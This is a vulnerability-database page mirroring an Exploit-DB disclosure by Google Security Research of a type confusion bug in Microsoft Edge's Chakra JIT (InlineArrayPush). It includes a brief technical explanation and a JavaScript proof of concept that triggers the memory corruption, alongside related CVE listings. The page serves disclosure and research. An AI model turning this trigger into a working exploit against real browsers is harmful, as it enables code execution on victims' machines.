Lucene search
+L

Microsoft Edge Chakra - 'InlineArrayPush' Type Confusion

🗓️ 18 Jan 2019 00:00:00Reported by Google Security ResearchType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 64 Views

Type confusion vulnerability in Microsoft Edge Chakra's InlineArrayPus

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Microsoft Edge Chakra - InlineArrayPush Type Confusion Exploit
20 Jan 201900:00
–zdt
attackerkb
attackerkb
CVE-2018-8617
12 Dec 201800:29
–attackerkb
attackerkb
attackerkb
CVE-2018-8618
12 Dec 201800:29
–attackerkb
attackerkb
attackerkb
CVE-2018-8624
12 Dec 201800:29
–attackerkb
attackerkb
attackerkb
CVE-2018-8629
12 Dec 201800:29
–attackerkb
attackerkb
attackerkb
CVE-2018-8583
12 Dec 201800:29
–attackerkb
bdu_fstec
BDU FSTEC
ChakraCore Microsoft Edge Code Execution
28 Dec 201800:00
–bdu_fstec
circl
Circl
CVE-2018-8617
18 Jan 201900:00
–circl
cnvd
CNVD
Microsoft Edge Chakra Scripting Engine Memory Corruption Vulnerability (CNVD-2019-07384)
12 Dec 201800:00
–cnvd
checkpoint_advisories
Check Point Advisories
Microsoft Edge Chakra Scripting Engine Memory Corruption (CVE-2018-8617)
11 Dec 201800:00
–checkpoint_advisories
Rows per page
/*
In Chakra, if you add a numeric property to an object having inlined properties, it will start transition to a new type where the space for some of previously inlined properties become for the pointer to the property slots and the pointer to the object array which stores numeric properties. For this reason, when it optimizes an InlineArrayPush instruction which might start transition, it needs to kill corresponding type symbols to prevent type confusion. But it doesn't, so it can lead to type confusion.

PoC:
*/

function opt(a, b) {
    a.b = 2;
    b.push(0);
    a.a = 0x1234;
}

function main() {
    Object.prototype.push = Array.prototype.push;

    for (let i = 0; i < 1000; i++) {
        let a = {a: 1, b: 2};
        opt(a, {});
    }

    let o = {a: 1, b: 2};
    opt(o, o);

    print(o.a);
}

main();

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jan 2019 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 37.5
CVSS 27.6
EPSS0.62483
64